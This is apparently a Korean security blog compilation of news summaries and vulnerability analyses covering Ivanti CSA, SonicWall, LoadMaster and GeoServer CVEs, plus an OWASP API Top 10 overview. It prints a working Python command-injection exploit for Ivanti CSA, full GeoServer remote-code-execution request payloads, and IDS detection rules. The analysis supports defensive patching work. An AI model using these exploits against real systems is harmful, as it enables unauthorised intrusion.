요약 - GNU/Linux 시스템에 영향을 미치는 10년 된 CVSS 9.9 취약점 발견
- 현재까지 원격 코드 실행이 가능하다는 것만 알려져 있으며, 다음 주 중 공개 예상
내용 - 모든 GNU/Linux 시스템에 영향을 미치는 10년 된 CVSS 9.9 취약점 발견
> 공격자가 취약한 기기를 제어할 수 있게 해줌
> 다음 주 중 전체 공개 예상
> 심각성에도 불구하고 아직 CVE가 할당되지 않음
> 취약성의 특정 측면이 보안 위험을 초래하는지 논의 중

- 연구진들을 해당 취약성과 Log4j/Log4Shell(CVE-2021-44228) 취약성과 유사점을 발견
> 리눅스 환경이기에 취약성 범위와 피해범위는 파괴적일 것

- 결과가 나오는 동안 조직에 어떤 리눅스 및 GNU 요소들이 사용되고 있는지 파악해 두는 게 안전
> SBOM을 조사하여 취약한 부분을 파악하고 패치할 준비를 해야함
기타 -

 

보안뉴스

 

10년 넘은 리눅스 취약점 발견돼...세부 내용은 다음 주에 공개

보안 외신 핵리드에 의하면 10년 넘은 취약점이 이제야 발견됐다고 한다. 심지어 심각도 점수가 9.9점일 정도로 위험한 취약점인데 아무도 모른 채 10년을 지낸 것이라고 한다. GNU 및 리눅스 시스

www.boannews.com

 

Old Vulnerability Rated 9.9 Impacts All GNU/Linux Systems, Researcher Claims

Follow us on Twitter (X) @Hackread - Facebook @ /Hackread

hackread.com

 

요약 - 독일 경찰, 범죄자 체포에 토르 네트워크 해킹 주장
- 텔레그램, 법적 요청 시 사용자 정보 제공 결정
내용 - 독일 방송사 파노라마 및 유튜브 채널 STRG_F
> 독일 경찰이 토르 네트워크를 해킹해 범죄자를 체포했다 주장
> 그러나, 독일 경찰이 토르를 해킹한 방법에 관한 내용에 대해서는 아무런 설명을 하지 않음
> 토르의 익명성 기능에 대한 의구심 증가

- 토르 프로젝트, 아직까지 토르가 직접 침해됐다는 증거는 없는 상황 입장문 발표

① 가능성 1
> 경찰이 토르를 뚫어낸 것은 범인들이 Ricochet(P2P 인스턴트 메시징 프로그램)을 사용했기 때문이 가능성이 높다
> Ricochet은 이미 오래 전 지원이 중단된 앱이기 때문에 취약점 익스플로잇 등을 통해 침해하는 게 가능하다는 것

② 가능성 2
> 또는, 가드 노드 공격(guard node discovery attack) 기법을 사용 했을 가능성 존재
> 토르는 여러 노드들로 구성되어 있으며, 첫 번째 중계를 담당하는 노드를 가드노드라 함
> 가드노드를 발견한다면 사용자의 실제 IP 주소를 알아낼 수 있는 것으로 알려짐
> 토르는 해당 문제점을 2018년에 이미 수정했으며, 범죄자가 이 수정법을 적용하지 않았을 가능성 존재
===============================================================================
- 텔레그램 개인정보보호 정책 변경
> 사용자들의 전화번호와 IP 주소를 법적 요청에 따라 제공하기로 변경
> 플랫폼 규정을 위반한 사용자에 대해 유효한 법적 요청이 있을 경우에 한해서만 적용
※ 이전 정책: 테러 용의자와 관련된 경우에만 사용자 데이터를 공유

- 투명성을 유지하기 위해 사용자 데이터가 공유된 모든 경우를 분기별 보고서에 포함시킬 예정
> hxxps://t[.]me/transparency를 통해 액세스할 수 있도록 할 예정
> 현재는 업데이트 진행 중이며, 아직 해당 봇은 정상적으로 작동하지 않고 있음

- 플랫폼 내 불법 활동을 방지하기 위한 조치 또한 강화
> 검색 결과에서 문제 있는 콘텐츠 제거 진행 및 불법 콘텐츠와 관련된 검색어 철저히 검토 예정
> 사용자들은 @SearchReport 봇을 통해 불법 또는 위험 콘텐츠 신고 가능
기타 - 토르 브라우저의 위험을 줄이는 방법
> VPN 사용 : 토르 브라우저의 익명성 보장은 완전하지 않으므로 VPN을 적용할 경우 추적이 어려워짐
> 신뢰 가능한 사이트만 방문 : 토르 브라우저라고 해서 악성 링크나 첨부파일을 자동으로 막아주지 않으므로 기본 보안 수칙 유지
> 보안 프로그램 사용 : 보안 프로그램을 늘 활성화

- 우크라이나 국가 사이버보안 조정센터
> 국가 보안 문제를 이유로 정부 기관, 군 부대, 주요 인프라에서 텔레그램 사용 금지

- 텔레그램 정책 변화에 대한 견해
> 플랫폼의 책임성을 높인다는 긍정적 견해
> 사용자 프라이버시와 정부의 과도한 접근 가능성에 대한 우려

- 프라이버시에 민감한 사용자들은 더 강력한 데이터 보호 정책을 가진 메시징 앱인 시그널(Signal)과 같은 플랫폼을 사용할 것을 권고

- 어떤 플랫폼에서든 개인정보 공유 시 신중을 기할 것 강조 및 정책 변경 등의 변경이 있음을 유념해야 함

 

보안뉴스

 

독일 경찰이 정말로 토르 네트워크를 뚫었을까?

지난 주 독일의 방송사인 파노라마(Panorama)와 유튜브 채널 STRG_F가 폭탄 선언을 했다. 독일 경찰이 2021년 다크웹에서 활동하던 범죄자들을 체포하기 위해 토르(Tor)라는 익명화 기술을 깨버렸다는

www.boannews.com

 

텔레그램, 법적 요청 시 사용자 정보 제공 결정...개인정보보호 정책 변경 - 데일리시큐

텔레그램이 개인정보 보호에 대한 강력한 입장을 유지해오던 가운데, 최근 정책을 변경하며 사용자들의 전화번호와 IP 주소를 법적 요청에 따라 제공하기로 했다. 이번 결정은 플랫폼 규정을 위

www.dailysecu.com

 

 

1. CVE-2024-8190

[사진 1] CVE-2024-8190 [1]

- Ivanti Cloud Service Appliance(CSA)에서 발생하는 OS 명령 삽입 취약점

> 공격자가 해당 취약점을 악용하기 위해서 관리자 수준의 권한이 있어야 함

영향받는 버전: Ivanti CSA 4.6

 

- DateTimeTab.php의 handleDateTimeSubmit() [2]

> HTTP 요청을 구문 분석
TIMEZONE 파라미터를 인수로 setSystemTimezone() 호출

[사진 2] DateTimeTab.php setSystemTimezone()

- DateTimeTab.php의 setSystemTimezone()는 변수에 대한 검증없이 exec() 호출

[사진 3] setSystemTimezone()

- 공개된 PoC 확인 시 /gsb/datetime.php URL로 POST 요청 및 TIMEZONE 변수에 OS 명령 삽입 [3]
> CSA는 admin:admin의 기본 자격 증명을 제공하며, 해당 자격 증명으로 로그인 시 비밀번호 업데이트를 강제
> 침해가 발생하거나 공격을 받은 시스템의 경우 로그인한 적이 없거나, 취약한 비밀번호를 사용한 것으로 판단됨

#!/usr/bin/python3
import argparse
import re
import requests
import sys
import urllib3
from requests.auth import HTTPBasicAuth
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)



def exploit(url, username, password, command):
    u = username
    p = password
    s = requests.Session()
    r = s.get(f"{url}/gsb/datetime.php", auth=HTTPBasicAuth(u,p), verify=False)
    m = re.search(r"name=['\"]LDCSA_CSRF['\"]\s+value=['\"]([^'\"]+)['\"]", r.text)
    if m:
        ldcsa = m.group(1)
        print(f"[+] Got LDCSA_CSRF value: {ldcsa}")
    else:
        print(f"[-] Failed getting LDCSA_CRSF token")
        sys.exit(0)

    payload = {
        "dateTimeFormSubmitted": "1",
        "TIMEZONE": f"; `{command}` ;",
        "CYEAR": "2024",
        "CMONTH": "9",
        "CDAY": "13",
        "CHOUR": "12",
        "CMIN": "34",
        "LDCSA_CSRF": ldcsa,
        "SUBMIT_TIME": "Save"
    }
    print(f"[*] Sending payload...")
    r = s.post(f"{url}/gsb/datetime.php", auth=HTTPBasicAuth(u,p), verify=False, data=payload)


if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('-u', '--url', help='The base URL of the target', required=True)
    parser.add_argument('--username', help='The application username', required=True)
    parser.add_argument('--password', help='The application password', required=True)
    parser.add_argument('-c', '--command', help='The command to execute blind', type=str, required=True)
    args = parser.parse_args()

    exploit(args.url, args.username, args.password, args.command)

[사진 4] 익스플로잇 예시

1.1 CVE-2024-8963

[사진 5] CVE-2024-8963 [4]

- Ivanti CSA에서 발생하는 경로 탐색 취약점 (CVSS: 9.1)
> 익스플로잇에 성공한 공격자는 인증을 우회하여 제한된 기능에 액세스할 수 있음
CVE-2024-8190와 함께 악용할 경우 공격자는 인증을 우회하여 임의의 명령을 실행할 수 있음

영향받는 버전: Ivanti CSA 4.6

 

- 벤더사는 업데이트 제공 [5][6]

> 입력값에 대한 검증 과정 추가
CSA 4.6 버전은 EoL(지원 종료)로 더 이상 지원되지 않아 빠른 업데이트 필요 [7]

취약점 영향받는 버전 해결 버전
CVE-2024-8190 Ivanti CSA 4.6 CSA 5.0 (권장)
CVE-2024-8963 CSA 4.6 패치 519

 

- 탐지 패턴 적용

(flow:to_server,established; content:"/gsb/datetime.php"; http_uri; content:"TIMEZONE"; nocase; http_uri;)

2. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2024-8190
[2] https://www.horizon3.ai/attack-research/cisa-kev-cve-2024-8190-ivanti-csa-command-injection/
[3] https://github.com/horizon3ai/CVE-2024-8190
[4] https://nvd.nist.gov/vuln/detail/CVE-2024-8963
[5] https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Cloud-Service-Appliance-CSA-CVE-2024-8190?language=en_US
[6] https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-CSA-4-6-Cloud-Services-Appliance-CVE-2024-8963?language=en_US
[7] https://forums.ivanti.com/s/article/Ivanti-Endpoint-Manager-and-Ivanti-Endpoint-Manager-Security-Suite-EOL?language=en_US#:~:text=CSA%20Physical%20hardware%20will%20be,Fixes%20Only:%20Additional%20twelve%20months.
[8] https://securityaffairs.com/168617/security/ivanti-cloud-services-appliance-cve-2024-8963.html
[9] https://thehackernews.com/2024/09/ivanti-warns-of-active-exploitation-of.html
[10] https://thehackernews.com/2024/09/critical-ivanti-cloud-appliance.html

- API(Application Programming Interface)

> 여러 프로그램들과 데이터베이스, 그리고 기능들의 상호 통신 방법을 규정하고 도와주는 매개체

 

API 유형
REST API
(REpresentational State Transfer)
- HTTP로 하이퍼 미디어 콘텐츠를 전송하기 위한 하나의 아키텍처 스타일
- 6가지 원칙: 통일된 인터페이스, 클라이언트-서버 구조, 상태 없음(Stateless), 캐시 가능(Cacheable), 계층화 시스템, 주문형 코드
- 단순하기 때문에 현재 가장 널리 쓰이는 API
- 단일한 표준 REST 구조 없음, 큰 페이로드, 데이터 과다/과소 가져오기 등 단점
- 데이터 지향형
GraphQL API - 데이터 처리 부담을 서버로 옮김으로써 REST QPI의 데이터 과다/과소 가져오기 문제를 해결
- 장점: 정교한 질의 가능, 중첩, 강 타입 적용, 발견성
- 단점: DoS에 취약, 필요 이상의 많은 데이터 노출
- 데이터 지향형
RPC API
(Remote Procedure Call)
- 클라이언트는 Stub 라이브러리를 이용해 네트워크로 전송되며, 서버는 호출 정보를 복원한 후 서버 쪽 Stub에서 프로시저 실행 및 결과 반환
- 특정 작업을 원격으로 실행해야 하는 명령 지향적 응용 프로그램들에서 주로 쓰임
- 동작 지향형
SOAP API
(Simple Object Access Protocol)
- 서비스 지향적인 XML 기반 웹 통신 프로토콜로, 표준화되어 있음
- 뛰어난 확장성
- 복잡한 구현과 큰 데이터 페이로드
WebSocket API - 웹 소켓 통신 프로토콜에 기반한 API

 

API 데이터 형식
XML
(eXtensible Markup Language)
- 자료형(데이터 타입)과 독립적
- 내용과 표현을 분리하도록 설계
- 확장성
- 복잡성과 큰 용량 문제로  많이 쓰이지는 않음
JSON
(JavaScript Object Notation)
- 데이터는 키-값 쌍들로 표현
- 키는 항상 문자열이므로 큰따옴표로 감싸야 하며, 값은 정수, 부울형, 문자열 또는 널 값
YAML
(YAML Ain't Markup Language)
- JSON의 불편함(주석 지원 X, 유연하지 않은 문법 등)을 해소하기 위해 만들어짐
OAS
(Open API Specification-명세)
- API의 행동을 정의하기 위한, 사람이 읽기 쉬운 표준 규격으로, 개방형 표준
- OAS에 따라 API를 정의할 때는 YAML, JSON 모두 사용가능
- OAS 정의서부터 만든 후 API 개발 및 운영을 진행하는 방식을 설계 우선 접근 방식

 

- API는 데이터 접속의 표준화 및 편의성, 자동화와 확장성 등 많은 장점을 제공

- 그러나, API는 공격자에게도 인기가 많음

타 시스템과의 상호 연결을 위해 공용 네트워크에 노출된 경우가 많아 공격자 발견 및 접근에 용이

개발 및 통합을 위해 문서화가 잘 되어있어 공격자가 API 작동 방식을 파악하는데 용이

스크립트나 전용 도구를 이용해서 손쉽게 공격을 자동화할 수 있음

API핵심 데이터 자산에 대한 접근을 제공하기 위한 것으로, 공격자의 관심을 끌 수 있는 데이터

⑤ 기존 보안 도구들은 API 보안에 적합하지 않음

 

- OWASP 2019 API Top 10을 공개 후 2023년 목록을 갱신 [1]

OWASP API Security Top10 2023
API1:2023 - Broken Object Level Authorization - API는 개체 식별자를 처리하는 엔드포인트를 노출시키는 경향이 있어 개체 수준 액세스 제어 문제의 광범위한 공격 표면 생성
- 사용자의 ID를 사용하여 데이터 소스에 액세스하는 모든 기능에서 객체 권한 수준을 확인해야 함
API2:2023 - Broken Authentication - 인증 메커니즘은 종종 잘못 구현되어 공격자가 인증 토큰을 훼손하거나 구현 결함을 악용하여 일시적 또는 영구적으로 다른 사용자의 ID를 탈취할 수 있음
- 클라이언트/사용자를 식별하는 시스템의 기능을 훼손하면 전반적인 API 보안이 손상됨
API3:2023 - Broken Object Property Level Authorization - API3:2019 과도한 데이터 노출 및 API6:2019 대량 할당을 결합
- 근본 원인인 개체 속성 수준에서 권한 부여 유효성 검사가 부족하거나 부적절한 취약점
- 이에 따라 권한 없는 사람이 정보를 노출하거나 조작할 수 있음
API4:2023 - Unrestricted Resource Consumption - API 요청을 충족하려면 네트워크 대역폭, CPU, 메모리 및 스토리지와 같은 리소스가 필요
- 이메일/SMS/전화 통화 또는 생체 인식 유효성 검사와 같은 기타 리소스는 API 통합을 통해 서비스 공급자가 사용할 수 있으며 요청량에 따라 비용이 빌생
- 이에 따른 서비스 거부 또는 운영 비용이 증가 가능
API5:2023 - Broken Function Level Authorization - 계층, 그룹 및 역할이 다르고 관리 기능과 일반 기능이 명확하지 않은 복잡한 액세스 제어 정책은 권한 부여 문제가 될 수 있음
- 이를 악용해 다른 사용자의 리소스 및/또는 관리 기능에 액세스할 수 있음
API6:2023 - Unrestricted Access to Sensitive Business Flows - 취약한 API는 기능이 자동화된 방식으로 과도하게 사용되면 비즈니스 흐름을 노출
API7:2023 - Server Side Request Forgery - SSRF 결함은 API가 사용자 제공 URI의 유효성을 검사하지 않고 원격 리소스를 가져올 때 발생할 수 있음
- 이를 통해 방화벽이나 VPN으로 보호될 때에도 응용 프로그램이 예기치 않은 대상으로 제작된 요청을 보낼 수 있음
API8:2023 - Security Misconfiguration - API와 이를 지원하는 시스템은 API를 보다 사용자 정의할 수 있도록 하기 위한 복잡한 구성을 포함
- 잘못된 구성을 하여 다양한 유형의 공격 표면을 노출할 수 있음
API9:2023 - Improper Inventory Management - API는 기존 웹 애플리케이션보다 더 많은 엔드포인트를 노출하고 있어 적절한 명세가 업데이트 되어야 함
- 더 이상 사용되지 않는 API 버전 및 노출된 디버그 엔드포인트가 생기지 않도록 문서가 관리 및 갱신되어야 함
API10:2023 - Unsafe Consumption of APIs - 개발자는 사용자 입력보다 서드 파티 API에서 받은 데이터를 더 신뢰하는 경향이 있으므로 더 취약한 보안 표준이 적용될 수 있음

 

- API 보안 목표

> 오용(Misuse), 남용(Abuse)에 대한 고려-자동화된 스크립팅, 봇, 스크래핑 등-정상적인 사용자 활동과 구별이 어려움

> 데이터거버넌스: 통일적인 API 보안 전략에서 꼭 고려할 사항

> 양성 보안 모델: 허용 목록에 미리 등록해둔 정상적 행위자만 API 백엔드에 접근 가능

> 위험 기반 방법론: 위험도 분석에 기반한 API 보안 우선순위 결정

> 접근제어: API에 접근하는 것이 누구인지 확인하는 인증과 누가 API에 접근할 수 있는지를 결정하는 권한 부여

1. SonicOS

- SonicWall이 개발한 네트워크 보안 운영 체제
- 주로 방화벽 및 보안 장비에 사용

2. CVE-2024-40766

[사진 1] CVE-2024-40766 [1]

- SonicWall SonicOS 관리 액세스의 부적절한 액세스 제어 취약성 (CVSS: 9.3)
> 네트워크 자원에 무단 접근을 허용하거나 방화벽을 충돌시켜 네트워크 보호 기능을 무력화할 수 있음
> 취약점이 처음 공개된 당시 SonicOS 관리 액세스 기능에만 영향을 미치는 것으로 알려졌으나, SSLVPN 기능에도 영향을 미치는 것으로 확인됨
취약점과 관련된 구체적인 정보를 공개하지 않았으나, 현재 악용되는 중으로, Akira 랜섬웨어 조직이 취약점을 악용하는 중 [2]

 

- 벤더사 제공 최신 업데이트 적용 [3][4]

> 추가적으로 방화벽 관리 액세스 제한, SSLVPN 비밀번호 재설정, MFA 적용, SSLVPN 액세스 제어 또는 비활성화 등 조치 권고

제품명 영향받는 버던 해결 버전
SOHO (Gen5) 5.9.2.14-12o 이하 5.9.2.14-13o
Gen6 방화벽 - SOHOW, TZ 300, TZ 300W, TZ 400, TZ 400W, TZ 500, TZ 500W, TZ 600, NSA 2650, NSA 3600, NSA 3650, NSA 4600, NSA 4650, NSA 5600, NSA 5650, NSA 6600, NSA 6650, SM 9200, SM 9250, SM 9400, SM 9450, SM 9600, SM 9650, TZ 300P, TZ 600P, SOHO 250, SOHO 250W, TZ 350, TZ 350W 6.5.4.14-109n 이하 6.5.2.8-2n (SM9800, NSsp 12400, NSsp 12800용)
6.5.4.15.116n(다른 Gen6 방화벽 어플라이언스용)
Gen7 방화벽 - TZ270, TZ270W, TZ370, TZ370W, TZ470, TZ470W, TZ570, TZ570W, TZ570P, TZ670, NSa 2700, NSa 3700, NSa 4700, NSa 5700, NSa 6700, NSsp 10700, NSsp 11700, NSsp 13700 SonicOS 빌드 버전 7.0.1-5035 SonicOS 빌드 버전 7.0.1-5035 이후

3. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2024-40766
[2] https://arcticwolf.com/resources/blog/arctic-wolf-observes-akira-ransomware-campaign-targeting-sonicwall-sslvpn-accounts/
[3] https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2024-0015
[4] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=1&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=1&categoryCode=&nttId=71546
[5] https://thehackernews.com/2024/09/sonicwall-urges-users-to-patch-critical.html
[6] https://www.securityweek.com/sonicwall-patches-critical-sonicos-vulnerability/
[7] https://www.securityweek.com/recent-sonicwall-firewall-vulnerability-potentially-exploited-in-the-wild/
[8] https://www.dailysecu.com/news/articleView.html?idxno=159256

1. LoadMaster [1]

- Progress Software社에서 개발한 SW
- 대규모 조직에서 앱 성능 최적화, 네트워크 트래픽 관리, 높은 서비스 가용성 보장을 위해 사용하는 ADC 및 부하 분산 솔루션
- Multi-Tenant Hypervisor 버전은 멀티 테넌트 환경을 위해 설계된 LoadMaster 버전으로, 동일한 하드웨어에서 여러 가상 네트워크 기능을 실행할 수 있음

2. CVE-2024-7591

[사진 1] CVE-2024-7591 [2]

- Progress LoadMaster의 부적절한 입력 검증 취약점으로 인한 OS 명령 삽입 취약점 (CVSS: 10.0)
> 조작된 HTTP 요청을 보냄으로써 익스플로잇 해 관리자 인터페이스에 접근할 수 있게 되며, 이후 임의 OS 명령을 실행시킬 수 있음
> PoC 및 악용 시도는 확인되지 않음

영향받는 버전
- LoadMaster <= 7.2.60.0
- Multi-Tenant Hypervisor <= 7.1.35.11

 

- 벤더사는 애드온 패키지를 통해 패치 제공 [3]

> 사용자 입렵 겁증을 추가하여 완화한 것으로 보임
해당 패치는 무료 버전에는 적용되지 않으므로, 무료 버전은 여전히 취약한 상태로 남아있게됨

3. 참고

[1] https://kemptechnologies.com/
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-7591
[3] https://support.kemptechnologies.com/hc/en-us/articles/29196371689613-LoadMaster-Security-Vulnerability-CVE-2024-7591
[4] https://www.bleepingcomputer.com/news/security/progress-loadmaster-vulnerable-to-10-10-severity-rce-flaw/
[5] https://www.boannews.com/media/view.asp?idx=132693&page=3&kind=1

1. GeoServer

- 지리공간 데이터를 공유하고 편집할 수 있는 자바로 개발된 오픈 소스 GIS 소프트웨어 서버

※ GIS (Geographic Information System): 지리 정보 시스템

2. 취약점

[사진 1] CVE-2024-36401 [2]

- 취약한 GeoServer에서 발생하는 원격 명령 실행 취약점 (CVSS:9.8)

> 익스플로잇에 성공한 공격자는 피해자들의 GeoServer를 환전히 장악할 수 있음

> GeoServer 장악 후 여러 멀웨어를 유포하는데 적극 활용 중

영향받는 버전
- GeoServer < 2.23.6
- 2.24.0 <= GeoServer < 2.24.4
- 2.25.0 <= GeoServer < 2.25.2

 

- GeoServer가 호출하는 GeoTools 라이브러리 API

> 피처 유형의 속성/속성 이름을 평가하여 이를 commons-jxpath 라이브러리에 안전하지 않게 전달

> 해당 라이브러리는 XPath 표현식을 평가할 때 임의의 코드를 실행할 수 있음

> 일반적으로 XPath 평가는 복잡한 피처 유형으로 제한되어야 하지만 구현상 결함으로 인해 해당 평가는 간단한 피처 유형에도 적용됨

※ commons-jxpath 라이브러리: XPath 표현식을 구문 분석하고 평가하도록 설계되었음

취약한 요청 - WFS GetFeature : 웹 피처 서비스에서 피처를 검색하는 데 사용
- WFS GetPropertyValue : 피처의 특정 속성을 검색
- WMS GetMap : 웹 맵 서비스에서 맵 이미지를 요청
- WMS GetFeatureInfo : 지정된 위치의 피처에 대한 정보를 검색
- WMS GetLegendGraphic : 지도에 대한 범례 그래픽을 요청
- WPS Execute: 웹 처리 서비스 프로세스를 실행

 

2.1 PoC Test

- docker 빌드 및 실행 [3]

docker-compose up -d

 

[사진 2] 취약한 GeoServer 구동

 

- 공개된 PoC를 통해 익스플로잇 결과 408, 500 Error 발생

> 408 Error: 서버가 사용하지 않는 연결을 끊고 싶다는 것을 의미

> 500 Error: 서버에서 문제가 발생하였으나 문제의 구체적인 내용을 표시할 수 없음을 의미

※ docker 빌드를 다시 해보았으나 동일한 결과 도출

[사진 3] 408 Error 반환
[사진 4] 500 Error 반환

- 정상적으로 익스플로잇이 진행된 경우 원격 명령이 실행 [4]

[사진 5] 익스플로잇 성공 결과

- 공개 PoC [5]

[GET 요청]
GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),'touch%20/tmp/success1') HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0

[POST 요청]
POST /geoserver/wfs HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/xml
Content-Length: 356

<wfs:GetPropertyValue service='WFS' version='2.0.0'
 xmlns:topp='http://www.openplans.org/topp'
 xmlns:fes='http://www.opengis.net/fes/2.0'
 xmlns:wfs='http://www.opengis.net/wfs/2.0'>
  <wfs:Query typeNames='sf:archsites'/>
  <wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'touch /tmp/success2')</wfs:valueReference>
</wfs:GetPropertyValue>

3. 대응방안

- 벤더사 제공 업데이트 적용 [6]

제품명 영향받는 버전 해결 버전
GeoServer GeoServer < 2.23.6 2.23.6
2.24.0 <= GeoServer < 2.24.4 2.24.4
2.25.0 <= GeoServer < 2.25.2 2.25.2

 

- 업데이트 적용이 불가한 경우 권고

① GeoServer가 설치된 시스템에서 아래 경로의 파일을 삭제
> webapps/geoserver/WEB-INF/lib/gt-complex-x.y.jar

※ x.y는 GeoServer의 주요 라이브러리인 GeoTools의 버전을 뜻한다. ex) GeoServer 2.25.1의 경우, gt-complex-31.1.jar

 

② WFS 요청 비활성화

> 불필요하거나 중요하지 않은 경우 WFS 요청 비활성화

 

- 탐지 정책 적용

(flow:to_server,established; content:"/geoserver/wfs"; http_uri; content:"exec|28|java|2E|lang|2E|"; nocase; http_uri;)

4. 참고

[1] https://geoserver.org/
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-36401
[3] https://github.com/vulhub/vulhub/tree/master/geoserver/CVE-2024-36401
[4] https://www.vicarius.io/vsociety/posts/geoserver-rce-cve-2024-36401
[5] https://github.com/bigb0x/CVE-2024-36401?tab=readme-ov-file
[6] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=1&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=5&categoryCode=&nttId=71483
[7] https://github.com/advisories/GHSA-6jj6-gm7p-fcvv
[8] https://www.fortinet.com/blog/threat-research/threat-actors-exploit-geoserver-vulnerability-cve-2024-36401
[9] https://www.boannews.com/media/view.asp?idx=132739&page=1&kind=1
[10] https://www.boannews.com/media/view.asp?idx=132692&page=3&kind=1

요약 - 국제표준암호 적용, 망분리 개선, 개인정보보호법 시행령 개정안 시행
- 26년 표준암호 도입, 25년 망분리 정책 폐기 및 26년 MLS 도입, 9.15 개보법 시행령 개정안 시행
내용 ① 26년부터 전 공공분야에 국제표준암호 허용
- 05년 암호모듈 검증 제도(KCMVP) 시행 당시 SEED, ARIA, HIGHT, LEA만 허용
> 외국에서 개발한 암호에 대학 해독 우려가 있어 나온 조치
> 보안 환경의 변화로 국제화와 범용성을 고려해 글로벌 표준 허용 의견이 대두되면서 AES 허용 논의 시작

- 국정원, KCMVP에 AES 허용 방안 검토
> AES 안정성 충분한 입증, 경제적 효과, 산학역 전문가 의견 등을 고려
> 14년 논의된 바 있으나 외산 암호에 대한 불신·암호 산업 및 학계에 대한 보호 등을 이유로 성사되지 않음
> 22년 IoT, 자율주행차량 등에 AES 활용도가 높아져 연구용역 결과 AES 허용이 필요하다는 결론 도출
> 산업계 및 시험기관의 준비기간을 도려 26년 01월부터 시행할 예정
> 25년 07월까지 가이드라인과 자가시험도구를 새롭게 개발해 배포할 예정이며, 시험기관을 추가 지정해 검증수요 증가에 대비

=================================================================================== 
② 망분리 정책 폐기 및 MLS 로드맵 공개
- 다중보안체계(MLS) 내년부터 도입
> 기존 망분리 정책은 AI 등 신기술을 활용할 수 없게 막아옴
> 업무 중요도에 따라 적절한 보안 조치를 갖추면 외부 인터넷 망과 연결해 업무를 볼 수 있도록 함

- 기존 망분리 정책
> 업무망에서는 인터넷을 사용할 수 없게 차단하고, 업무망과 분리된 별도의 PC를 사용해 인터넷에 접속
> 보안성은 우수하나, AI 클라우드 기반 소프트웨어(SaaS) 등 신기술 활용의 어려움과 공공 데이터 공유 활성화를 어렵게 하는 지적

- 국정원, 망분리 대안으로 MLS 로드맵 공개
> MLS: 시스템을 기밀(C), 민감(S), 공개(O) 등급으로 분류 후 등급별 차등적 보안통제를 적용해 보안성 확보 및 인터넷 단절 없는 업무 환경 구현을 목표
> 업무 정보의 C·S·O 등급분류 기준
⒜ 기밀·민감 정보: 정보공개법과 공공데이터법 등에 따라서 각급 기관이 지정한 비공개 정보
⒝ 공개 정보: 기밀·민감 정보 이외에 것과 민감 정보 중에서도 가명 처리한 것
> 업무 정보가 운영되는 시스템의 등급 기준: 여러 등급의 정보가 섞여 있을 경우 상위 등급 기준으로 시스템 기준을 분류한다는 원칙

- 전환 계획
⒜ 올해까지 MLS 기반 구체화하고 내년부터 시행 및 고도화해 26년부터 전환 가속화
⒝ 국가정보보안기본지침과 MLS 관련 가이드라인 개정·제정 및 내년 상반기 전 국가 공공기관 대상 지침 공표
⒞ MLS 도입으로 영향 받는 공공 보안 제도와 CSAP(클라우드 보안인증) 재정비
> 내년 상반기까지 현행 CSAP의 상·중·하 보안 기준을 CSO 개념으로 재정립: 인증 반복을 없애고 간소화
> 공공기관별로 보안 등급을 나눈 현행 공공 보안검증 제도도 CSO를 적용해 일괄 정비

=================================================================================== 
③ 개인정보보호법 시행령 개정안 09.15 시행
- 동의를 받아 개인정보를 수집·이용에 관한 보호법 시행령(이하 영) 규정(영 §17①)이 시행될 예정
> 99년 정통망법 개정 후 서비스 제공시 정보주체 동의를 받아야 했음
> 서비스 제공 계약에 필요해도 정보주체 동의 필요 등 문제가 존재
> 11년 개보법 제정 후 계약 체결과 이행을 위해 불가피한 경우 외에는 필수 동의 관행이 지속
> 23년 개보법 개정을 통해 신뢰에 기반할 경우 별도 동의 없이 개인정보를 이용할 수 있도록하고, 동의가 꼭 필요한 경우에 한정해 명시적인 동의를 받도록 개선

- 주요 내용
⒜ 동의를 받을 때 충족해야 하는 사항(시행령 제17조제1항)
> 정보주체가 자유로운 의사에 따라 동의 여부를 결정할 수 있을 것
> 동의를 받으려는 내용이 구체적이고 명확할 것
> 그 내용을 쉽게 읽고 이해할 수 있는 문구를 사용할 것
> 동의 여부를 명확하게 표시할 수 있는 방법을 정보주체에게 제공할 것

⒝ 개인정보 수집·이용시 동의 여부 및 방법 안내
> 서비스 이용계약 관련 개인정보는 동의 없이 수집·이용
> 서비스 이용계약과 관련 없는 개인정보는 동의원칙 준수
> 계약 관련 개인정보와 그 외 개인정보가 포함된 경우 분리 조치
> 민감정보·고유식별정보의 경우 서비스에 불가피한 경우 필수동의

- 개선 계획
> 현장의 혼선이 없도록 개인정보 처리 통합 안내서 발표 예정
기타 - AES 허용 이점
> 국내 업체의 수출 경쟁력 강화
> 개발 편의겅 증대
> 무역장벽 논란 해소

- MLS 전환 전망
> 국가 공공기관 시스템에 AI와 클라우드가 연계되어 업무 효율성 제고 및 우수한 공공 서비스 개발

- 개인정보 처리 통합 안내서
> 개인정보보호원칙, 수집·이용·제공, 파기, 동의받는 방법, 위·수탁 등 개인정보 처리 단계별로 준수해야 하는 사항을 사례 중심으로 종합적으로 제시할 계획

 

보안뉴스

 

국정원 "2026년부터 전 공공분야에 국제표준암호 허용"

